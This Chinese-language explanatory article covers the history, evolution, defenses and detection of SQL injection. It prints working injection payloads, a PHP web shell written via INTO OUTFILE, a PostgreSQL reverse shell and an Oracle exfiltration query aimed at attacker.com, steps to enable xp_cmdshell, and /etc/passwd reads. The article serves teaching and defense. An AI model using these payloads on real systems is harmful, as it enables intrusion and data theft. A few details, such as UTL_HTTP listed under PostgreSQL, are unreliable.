1998年12月25日,一位化名"Rain Forest Puppy"的安全研究员Jeff Forristal在黑客杂志《Phrack》上发表了一篇关于MS SQL Server 6.5漏洞的文章。他没有意识到,自己正在记录一种将困扰互联网四分之一个世纪的安全威胁——SQL注入。

二十七年后的2025年,OWASP Top 10将注入漏洞列为全球第五大Web安全风险。更令人沮丧的是:在闭源项目中,约10%的安全漏洞仍是SQL注入;开源项目中这个比例为6.7%。而这个问题的解决方案——参数化查询——早在SQL注入被正式命名之前就已经存在。

这是一个关于"已知解决方案"为何无法消除"已知威胁"的技术谜题。

注入的本质:当数据变成代码

SQL注入的核心问题可以追溯到SQL语言的设计哲学:它从不区分"代码"和"数据"。

考虑这样一个简单的登录验证查询:

SELECT * FROM users WHERE username = 'alice' AND password = 'secret'

当开发者使用字符串拼接将用户输入嵌入这条语句时:

String query = "SELECT * FROM users WHERE username = '" 
    + userInput + "' AND password = '" + passwordInput + "'";

问题出现了:数据库引擎会忠实地解析最终生成的字符串。如果攻击者输入用户名为 alice'--,最终执行的语句变成:

SELECT * FROM users WHERE username = 'alice'--' AND password = 'secret'

-- 在SQL中表示注释,这意味着密码验证被完全绕过。

这不仅是语法层面的漏洞。从语言设计的角度看,SQL是一种"同形"语言——命令结构和数据结构使用相同的字符集和语法规则。单引号、分号、注释符号既可以是数据的一部分,也可以是控制结构的边界。这种模糊性构成了SQL注入的根本攻击面。

flowchart TD
    A[用户输入: alice'--] --> B[应用层字符串拼接]
    B --> C["生成的SQL: SELECT * FROM users WHERE username = 'alice'--' AND password = 'secret'"]
    C --> D[数据库解析器]
    D --> E{解析结果}
    E --> F[条件: username = 'alice']
    E --> G[注释: --' AND password = 'secret']
    F --> H[密码验证被完全绕过]
    G --> H

攻击演进:从显式到隐式的博弈

第一阶段:显式注入(1998-2005)

早期SQL注入攻击以"显式"为主——攻击者能在响应中直接看到注入结果。最经典的UNION-based注入利用UNION操作符将恶意查询结果追加到原始查询:

' UNION SELECT username, password FROM users--

如果页面原本显示商品列表,现在会额外显示用户表的所有用户名和密码。

Error-based注入则利用数据库错误信息泄露数据:

' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--

SQL Server会返回类似"将值’users’转换为int类型失败"的错误,攻击者从错误信息中提取了表名。

第二阶段:盲注技术(2005-2012)

开发者开始隐藏错误信息、统一返回页面后,攻击者转向"盲注"技术——通过推断而非直接观察获取数据。

Boolean-based盲注依赖页面响应差异:

' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

如果返回正常页面,说明admin密码首字母是’a’;如果返回异常或空白页面,说明不是。攻击者逐字符枚举,平均每个字符需要约7次请求(二分查找)。

Time-based盲注更加隐蔽,当页面响应没有任何差异时使用:

' AND IF(ASCII(SUBSTRING(password,1,1))>97, SLEEP(5), 0)--

如果密码首字母ASCII码大于97,数据库暂停5秒。通过测量响应时间,攻击者可以逐位提取数据。

flowchart LR
    subgraph 攻击类型演进
        A[显式注入<br/>1998-2005] --> B[盲注技术<br/>2005-2012]
        B --> C[高级绕过<br/>2012-2020]
        C --> D[二阶注入<br/>2020至今]
    end
    
    A --> E[UNION-based]
    A --> F[Error-based]
    
    B --> G[Boolean-based]
    B --> H[Time-based]
    
    C --> I[编码绕过]
    C --> J[WAF绕过]
    
    D --> K[存储型注入]
    D --> L[供应链攻击]

第三阶段:高级绕过技术(2012-2020)

随着WAF(Web应用防火墙)的普及,攻击者开发出各种绕过技术:

编码绕过:使用URL编码、Unicode编码、十六进制编码改变payload外观 大小写变换SeLeCt 替代 SELECT 注释混淆SEL/**/ECT 利用注释分割关键词 等价替换OR 1=1 替换为 OR 'a'='a'OR 1 LIKE 1

这些技术的本质是利用WAF基于模式匹配的局限性——任何基于规则过滤的系统都存在假阳性和假阴性的权衡。

第四阶段:二阶注入与新型攻击(2020至今)

现代防御使直接注入越来越困难,但攻击者发现了新路径:二阶注入(Second-order Injection)。

攻击者将恶意payload存入数据库的合法字段,等待后续操作触发。例如注册用户名为 admin'-- 的账户。当系统执行密码重置时:

UPDATE users SET password = 'newpassword' WHERE username = 'admin'--'

注释符再次发挥作用,这次修改的是管理员账户的密码。

sequenceDiagram
    participant 攻击者
    participant Web应用
    participant 数据库
    
    攻击者->>Web应用: 注册用户名: admin'--
    Web应用->>数据库: INSERT INTO users (username) VALUES ('admin''--')
    数据库->>Web应用: 注册成功
    
    Note over 数据库: 恶意数据已存储<br/>等待触发
    
    攻击者->>Web应用: 请求重置 admin 密码
    Web应用->>数据库: UPDATE users SET password='new' WHERE username='admin'--'
    数据库->>数据库: 注释生效,条件变为 username='admin'
    数据库->>Web应用: 管理员密码被修改

2023年的MOVEit事件展示了这种攻击的破坏力。CVE-2023-34362是一个经过身份验证的SQL注入漏洞,攻击者利用它部署恶意文件、窃取数据,影响了全球超过2500个组织,包括美国政府机构、英国航空公司、多家大学。Cl0p勒索软件组织借此获取了数百万人的个人信息。

防御真相:为什么解决方案没能终结威胁

参数化查询:银弹还是半成品

参数化查询(Prepared Statements)被公认为防御SQL注入的黄金标准。其工作原理是将SQL语句结构预先发送给数据库编译,用户输入作为参数单独传递:

PreparedStatement pstmt = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
pstmt.setString(1, username);
pstmt.setString(2, password);

数据库使用二进制协议接收参数,它们永远不会被解释为SQL语法。这是真正有效的防御——但它有致命的适用边界。

flowchart TD
    subgraph 不安全方式
        A1[用户输入: alice' OR '1'='1] --> B1[字符串拼接]
        B1 --> C1["SELECT * FROM users WHERE name='alice' OR '1'='1'"]
        C1 --> D1[数据库执行恶意SQL]
        D1 --> E1[数据泄露]
    end
    
    subgraph 安全方式
        A2[用户输入: alice' OR '1'='1] --> B2[参数化查询]
        B2 --> C2["SELECT * FROM users WHERE name=?"]
        C2 --> D2[参数单独传递]
        D2 --> E2[数据库查找精确匹配]
        E2 --> F2[安全返回结果]
    end

边界一:动态表名和列名

参数化查询不能用于表名、列名、ORDER BY方向等SQL标识符。当业务需要动态排序时:

// 错误:参数不能用于ORDER BY
String sql = "SELECT * FROM products ORDER BY " + sortColumn + " " + sortDirection;

开发者被迫使用字符串拼接,这里必须严格验证输入。

边界二:IN子句的动态列表

// 需要动态构建IN子句
String sql = "SELECT * FROM products WHERE id IN (" + String.join(",", ids) + ")";

边界三:存储过程中的动态SQL

CREATE PROCEDURE search_products(@keyword NVARCHAR(100))
AS
BEGIN
    DECLARE @sql NVARCHAR(500)
    SET @sql = 'SELECT * FROM products WHERE name LIKE ''%' + @keyword + '%'''
    EXEC(@sql)
END

存储过程本身不能保证安全——内部的动态SQL同样脆弱。

ORM框架的虚假安全感

现代开发中ORM框架广泛使用,但它们并不能完全消除SQL注入风险。

Hibernate的HQL注入(CVE-2019-14900、CVE-2020-25638)表明,即使使用ORM,不当使用原生查询或HQL字符串拼接仍会导致漏洞:

// 危险:HQL注入
Query query = session.createQuery(
    "FROM User WHERE username = '" + userInput + "'"
);

// 安全:参数化HQL
Query query = session.createQuery("FROM User WHERE username = :name");
query.setParameter("name", userInput);

Entity Framework、MyBatis等框架同样存在类似的"原始SQL"功能,开发者在需要复杂查询时往往绕过安全机制。

pie title ORM框架中的SQL注入风险分布
    "参数化查询(安全)" : 60
    "原生SQL拼接(危险)" : 25
    "HQL/JPQL拼接(危险)" : 10
    "存储过程调用(混合)" : 5

WAF:可绕过的防火墙

Web应用防火墙作为补充防御层,提供了额外的保护。但WAF的本质问题是:它在应用外部,无法理解应用逻辑。

graph LR
    A[攻击者] --> B[WAF]
    B -->|规则匹配| C{是否拦截}
    C -->|匹配已知模式| D[拦截]
    C -->|绕过模式| E[到达应用]
    E --> F[数据库]
    F --> G[数据泄露]
    
    style D fill:#90EE90
    style G fill:#FFB6C1

JSON-based SQL注入是近年出现的WAF绕过技术。许多WAF对JSON参数的SQL语法检测较弱:

{
    "search": "' OR 1=1--"
}

或者利用数据库特有的JSON函数:

' AND JSON_EXTRACT(data, '$.role') = 'admin'--

持久存在的深层原因

既然解决方案已经存在,为什么SQL注入在2025年依然是OWASP Top 10成员?

mindmap
  root((SQL注入<br/>持续存在))
    遗留代码
      历史债务累积
      重构成本高昂
      兼容性约束
    开发者教育
      安全培训滞后
      错误示例传播
      意识不足
    框架设计
      默认不安全配置
      复杂查询绕过安全机制
      文档不足
    组织因素
      安全与功能权衡
      时间压力
      成本考量
    检测局限
      SAST假阳性
      DAST覆盖不全
      WAF可绕过

原因一:遗留代码的累积债务

企业系统中存在大量历史代码,重构成本高昂。一个金融机构的核心系统可能有数百万行代码,其中包含无数动态SQL查询。全面审计和改造这些代码需要数年时间和巨大投入。

原因二:开发者教育的断层

安全培训往往滞后于技术发展。许多开发者知道"不要拼接SQL",但不理解为什么参数化查询在某些场景失效。更危险的是,许多教程和代码示例本身就包含SQL注入漏洞,初学者从错误的地方学习"正确"的做法。

原因三:框架默认行为的不安全

某些框架的默认行为鼓励不安全的模式。例如,某些ORM默认使用字符串拼接构建复杂查询,安全选项需要开发者主动启用。

原因四:安全与功能的权衡

最小权限原则在实践中常被妥协。为了快速开发,应用常使用数据库超级用户连接,一个注入点就能让攻击者获得整个数据库的控制权。

原因五:检测与防护的猫鼠游戏

静态代码分析工具(SAST)能检测SQL注入,但存在大量假阳性,开发者逐渐忽视警告。动态分析(DAST)工具如SQLMap能发现运行时漏洞,但无法覆盖所有代码路径。

防御策略:纵深防御体系

有效的SQL注入防御需要多层防护,而非依赖单一解决方案。

graph TB
    subgraph 纵深防御体系
        L1[第一层: 安全编码]
        L2[第二层: 权限隔离]
        L3[第三层: 运行时防护]
        L4[第四层: 监控响应]
    end
    
    L1 --> P1[参数化查询]
    L1 --> P2[白名单验证]
    L1 --> P3[安全存储过程]
    
    L2 --> P4[最小权限账户]
    L2 --> P5[读写分离]
    L2 --> P6[视图限制]
    
    L3 --> P7[输入验证]
    L3 --> P8[输出编码]
    L3 --> P9[WAF过滤]
    
    L4 --> P10[SQL日志审计]
    L4 --> P11[异常检测]
    L4 --> P12[应急响应]
    
    style L1 fill:#E8F5E9
    style L2 fill:#E3F2FD
    style L3 fill:#FFF3E0
    style L4 fill:#FCE4EC

第一层:安全编码实践

强制参数化查询:建立代码规范,禁止在应用层拼接SQL。使用代码审查工具强制执行。

安全存储过程模式:当必须使用存储过程时,使用sp_executesql并正确参数化:

CREATE PROCEDURE search_products(@keyword NVARCHAR(100))
AS
BEGIN
    DECLARE @sql NVARCHAR(500)
    DECLARE @param NVARCHAR(100) = '%' + @keyword + '%'
    SET @sql = N'SELECT * FROM products WHERE name LIKE @p'
    EXEC sp_executesql @sql, N'@p NVARCHAR(100)', @p = @param
END

白名单验证:对于表名、列名等无法参数化的输入,使用严格的白名单映射:

private static final Set<String> ALLOWED_SORT_COLUMNS = 
    Set.of("name", "price", "created_at");

public String getSortColumn(String input) {
    if (!ALLOWED_SORT_COLUMNS.contains(input.toLowerCase())) {
        throw new IllegalArgumentException("Invalid sort column");
    }
    return input;
}

第二层:数据库权限隔离

每个应用模块使用独立的数据库账户,仅授予必要的最小权限:

-- 只读账户
CREATE USER app_readonly;
GRANT SELECT ON products TO app_readonly;

-- 读写账户(无DDL权限)
CREATE USER app_readwrite;
GRANT SELECT, INSERT, UPDATE ON orders TO app_readwrite;

管理员特权(如DROP TABLE、执行存储过程)绝不应授予应用账户。

第三层:运行时防护

输入验证:在数据到达数据库之前验证格式、长度、字符集:

public void validateUsername(String username) {
    if (username == null || username.length() > 50) {
        throw new ValidationException("Invalid username length");
    }
    if (!username.matches("^[a-zA-Z0-9_]+$")) {
        throw new ValidationException("Invalid username characters");
    }
}

输出编码:当必须在其他上下文显示用户输入时,进行适当的编码(HTML实体编码、JavaScript编码等)。

第四层:监控与响应

SQL查询日志分析:监控异常的SQL模式,如大量UNION查询、information_schema访问、异常的响应时间。

数据库审计:启用数据库审计功能,记录所有敏感表的操作。

WAF作为补充:虽然可绕过,但WAF能阻止大量自动化扫描和常见攻击模式。

检测技术:从手工到智能

timeline
    title SQL注入检测技术演进
    1998-2005 : 手工渗透测试
              : 基于经验的测试
    2005-2012 : 自动化扫描工具
              : SQLMap, Acunetix
              : DAST技术成熟
    2012-2018 : 静态代码分析
              : SonarQube, Fortify
              : SAST集成CI/CD
    2018-2023 : IAST技术
              : 运行时插桩
              : 精确漏洞定位
    2023-至今 : 机器学习检测
              : 深度学习模型
              : 99%准确率

静态代码分析

SAST工具扫描源代码,识别潜在的SQL注入模式:

Pattern: String concatenation in SQL query
File: UserService.java:142
Risk: HIGH
Code: "SELECT * FROM users WHERE id = " + userId

工具如SonarQube、Fortify、Checkmarx已集成这些规则,但开发者需要处理大量警告并区分真假阳性。

动态应用安全测试

DAST工具(如SQLMap、OWASP ZAP)向运行中的应用发送恶意请求,观察响应:

sqlmap -u "https://example.com/search?q=test" --dbs

SQLMap的检测算法包括:

  1. 启发式检测:发送简单的payload(单引号)观察错误响应
  2. 布尔盲注检测:发送AND 1=1AND 1=2对比响应
  3. 时间盲注检测:发送SLEEP(5)测量响应时间
  4. UNION注入检测:自动推断列数和数据类型

机器学习检测

近年研究将SQL注入检测视为分类问题。2024年的研究表明,基于Transformer的模型在SQL注入检测上达到99%以上的准确率:

Precision: 0.987
Recall: 0.992
F1-Score: 0.989

这些模型能识别经过混淆的payload,但部署成本和误报率仍是实践中的挑战。

数据库差异:不同引擎的攻击面

虽然SQL注入原理相同,但不同数据库系统提供了不同的攻击向量。

graph TD
    subgraph MySQL
        M1[LOAD_FILE读取文件]
        M2[INTO OUTFILE写入WebShell]
        M3[@@version信息收集]
    end
    
    subgraph PostgreSQL
        P1[COPY执行命令]
        P2[lo_import读取文件]
        P3[UTL_HTTP网络请求]
    end
    
    subgraph SQL_Server
        S1[xp_cmdshell执行命令]
        S2[xp_regread读注册表]
        S3[sp_configure配置修改]
    end
    
    subgraph Oracle
        O1[DBMS_JAVA执行Java]
        O2[UTL_FILE读文件]
        O3[UTL_HTTP网络连接]
    end

MySQL

-- 读取文件
LOAD_FILE('/etc/passwd')

-- 写入WebShell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'

-- 信息收集
SELECT @@version, @@datadir

PostgreSQL

-- 执行系统命令(需要超级用户)
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'

-- 读取文件
COPY users FROM '/etc/passwd'

-- 大对象读取文件
SELECT lo_import('/etc/passwd')

SQL Server

-- 执行存储过程
EXEC xp_cmdshell('whoami')

-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 读取注册表
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName'

Oracle

-- 执行Java代码
SELECT DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec("cmd")') FROM dual;

-- 读取文件
SELECT UTL_FILE.GET_LINE(UTL_FILE.FOPEN('/etc', 'passwd', 'R'), buffer) FROM dual;

-- 网络连接
SELECT UTL_HTTP.REQUEST('http://attacker.com/?data=' || password) FROM users

了解这些差异对于安全测试人员至关重要——针对MySQL的payload可能对Oracle无效,但核心注入原理不变。

真实案例分析

Heartland Payment Systems(2008)

攻击者Albert Gonzalez利用SQL注入漏洞进入Heartland网络,窃取超过1.3亿张信用卡信息。攻击持续数月未被发现,最终造成约1.3亿美元损失。

timeline
    title Heartland攻击时间线
    2007年8月 : SQL注入进入网络
    2007年12月 : 横向移动至支付系统
    2008年1月 : 数据外泄开始
    2008年5月 : 攻击被发现
    2009年8月 : Gonzalez被捕起诉
    2010年3月 : 判处20年监禁

技术细节显示,攻击者通过公开网站的一个Web表单注入点进入内网,随后横向移动至支付处理系统。核心教训是:外部防护再强,一个被忽视的Web表单也可能成为突破口。

MOVEit Transfer(2023)

CVE-2023-34362影响了Progress Software的MOVEit文件传输产品。这是一个经过身份验证的SQL注入漏洞,位于Web应用的身份验证API中。

sequenceDiagram
    participant 攻击者
    participant MOVEit服务器
    participant 数据库
    participant 文件系统
    
    攻击者->>MOVEit服务器: 发送恶意请求(含SQL注入)
    MOVEit服务器->>数据库: 执行注入的SQL
    数据库->>MOVEit服务器: 返回敏感数据/权限提升
    MOVEit服务器->>攻击者: 攻击者获取管理员权限
    攻击者->>MOVEit服务器: 上传恶意WebShell
    MOVEit服务器->>文件系统: 写入后门文件
    攻击者->>MOVEit服务器: 建立持久化访问
    MOVEit服务器->>攻击者: 窃取敏感文件

Cl0p勒索组织利用此漏洞攻击了全球超过2500个组织,估计影响了超过6000万人。关键点是:即使是有安全审计的商业软件,也可能存在SQL注入漏洞。

OWASP排名变化:趋势与警示

xychart-beta
    title "SQL注入在OWASP Top 10中的排名变化"
    x-axis [2010, 2013, 2017, 2021, 2025]
    y-axis "排名" 1 --> 10
    bar [1, 1, 1, 3, 5]

从2010年到2025年,注入漏洞从OWASP Top 10的第一位下降到第五位。但这并不意味着威胁减轻——而是其他安全问题的增长速度更快。软件供应链安全、加密失败、访问控制缺陷等问题在云原生时代变得更加突出。

关键数据:

  • 94%的应用程序被测试过某种形式的注入漏洞
  • 注入漏洞的最大发生率仍可达19%
  • 尽管排名下降,它仍然是100%被测试应用中的问题

未来展望:防御的进化

编译时安全

现代语言和框架正在引入更强的安全保证。Rust的sqlx库在编译时验证SQL查询:

// 编译时验证SQL语法和参数类型
let users = sqlx::query_as!(
    User,
    "SELECT * FROM users WHERE username = ?",
    username
)
.fetch_all(&pool)
.await?;

如果查询语法错误或参数类型不匹配,代码无法编译。

运行时保护增强

数据库厂商正在引入更严格的运行时保护。MySQL的Enterprise Audit、PostgreSQL的pgAudit提供细粒度的审计能力,能追踪每个查询的来源。

DevSecOps集成

将安全扫描集成到CI/CD流水线,使SQL注入检测成为代码合并的前置条件:

# GitHub Actions示例
- name: Run SQL Injection Scanner
  uses: github/sql-injection-scanner
  with:
    path: ./src
    fail-on-finding: true

安全开发的代际传递

根本解决方案在于改变开发文化。安全编码不应该是一个"之后补充"的步骤,而是开发者的基础技能。这需要:

  1. 计算机科学教育中纳入安全模块
  2. 企业提供持续的安全培训
  3. 框架默认采用安全配置
  4. 代码审查强制检查安全模式

总结

SQL注入是一个技术上有清晰解决方案,但在实践中持续存在的安全威胁。它的持久性不是技术难题,而是工程实践、组织文化和遗留债务的综合结果。

参数化查询是有效的,但不能覆盖所有场景。存储过程是安全的,但前提是正确实现。WAF能提供保护,但可以被绕过。真正的安全来自多层防御、最小权限原则、持续监控和安全开发的组织文化。

二十七年前,Jeff Forristal发现了SQL注入。今天,它仍然是OWASP Top 10的成员。这个事实提醒我们:在安全领域,“已知问题"和"已解决问题"之间,存在巨大的鸿沟。

跨越这个鸿沟需要的不是新技术,而是更严格的工程实践。


参考文献

  1. OWASP Foundation. “SQL Injection.” OWASP Web Security, https://owasp.org/www-community/attacks/SQL_Injection
  2. OWASP Foundation. “SQL Injection Prevention Cheat Sheet.” OWASP Cheat Sheet Series, https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
  3. OWASP Foundation. “OWASP Top 10:2021.” https://owasp.org/Top10/2021/
  4. OWASP Foundation. “OWASP Top 10:2025.” https://owasp.org/Top10/2025/
  5. Forristal, J. (1998). “NT Web Technology Vulnerabilities.” Phrack Magazine, Volume 8, Issue 54.
  6. IBM Security. “Cost of a Data Breach Report 2024.” https://www.ibm.com/reports/data-breach
  7. Aikido Security. “The State of SQL Injection.” November 2024, https://www.aikido.dev/blog/the-state-of-sql-injections
  8. Edgescan. “2024 Vulnerability Statistics Report.” https://www.edgescan.com/wp-content/uploads/2025/04/2024-Vulnerability-Statistics-Report.pdf
  9. CISA. “#StopRansomware: CL0P Ransomware Gang Exploits CVE-2023-34362.” June 2023, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a
  10. Rapid7. “MOVEit Transfer Critical Vulnerability.” June 2023, https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/
  11. PortSwigger. “SQL Injection.” Web Security Academy, https://portswigger.net/web-security/sql-injection
  12. PortSwigger. “Blind SQL Injection.” https://owasp.org/www-community/attacks/Blind_SQL_Injection
  13. Wikipedia. “2023 MOVEit data breach.” https://en.wikipedia.org/wiki/2023_MOVEit_data_breach
  14. Wikipedia. “SQL injection.” https://en.wikipedia.org/wiki/SQL_injection
  15. VICE. “The History of SQL Injection, the Hack That Will Never Go Away.” November 2015
  16. Invicti. “SQL Injection History: Still the Most Common Vulnerability.” August 2013
  17. Wired. “Gonzalez Sentenced for Multimillion Dollar Credit Card Scam.” March 2010
  18. Reuters. “Gonzalez Sentenced for Multimillion Dollar Credit Card Scam.” March 2010
  19. Proofpoint. “Lessons from the 2008 Heartland Data Breach.” March 2015
  20. MySQL Reference Manual. “Prepared Statements.” https://dev.mysql.com/doc/refman/8.4/en/sql-prepared-statements.html
  21. PostgreSQL Documentation. “PREPARE.” https://www.postgresql.org/docs/current/sql-prepare.html
  22. Microsoft Learn. “SQL Injection.” https://learn.microsoft.com/en-us/sql/relational-databases/security/sql-injection
  23. Snyk. “SQL Injection Cheat Sheet.” https://snyk.io/blog/sql-injection-cheat-sheet/
  24. SentinelOne. “7 Types of SQL Injection Attacks & How to Prevent Them.” https://www.sentinelone.com/cybersecurity-101/cybersecurity/types-of-sql-injection/
  25. Picus Security. “WAF Bypass Using JSON-Based SQL Injection Attacks.” October 2025
  26. ResearchGate. “Machine Learning and Deep Learning Approaches for SQL Injection Detection: A Review.” January 2026
  27. MDPI Electronics. “Machine Learning Models for SQL Injection Detection.” https://www.mdpi.com/2079-9292/14/17/3420
  28. ScienceDirect. “SQL injection attack: Detection, prioritization & prevention.” https://www.sciencedirect.com/science/article/pii/S221421262400173X
  29. Vaadata. “Sqlmap, the Tool for Detecting and Exploiting SQL Injections.” June 2024
  30. PortSwigger. “SQL Injection in Different Statement Types.” https://portswigger.net/support/sql-injection-in-different-statement-types
  31. Rapid7. “8 Reasons Why SQL Injection Vulnerabilities Still Exist.” October 2015
  32. StackExchange Security. “SQL injection is 17 years old. Why is it still around?” June 2016
  33. Medium. “SQL Injection: The Vulnerability That Never Dies.” 2025
  34. PortSwigger. “NoSQL injection.” Web Security Academy, https://portswigger.net/web-security/nosql-injection
  35. Invicti. “What is NoSQL Injection?” May 2020
  36. Stack Overflow. “Can parameterized statement stop all SQL injection?” July 2011
  37. Security StackExchange. “Are prepared statements 100% safe against SQL injection?” May 2012
  38. Reddit r/cybersecurity. “Why are SQL injections still a thing?” March 2024
  39. LinkedIn. “SQL Injection Still Breaks Companies. Here’s Why.” December 2025
  40. Aikido Security. “SQL Injection: The Vulnerability That Never Dies.” November 2024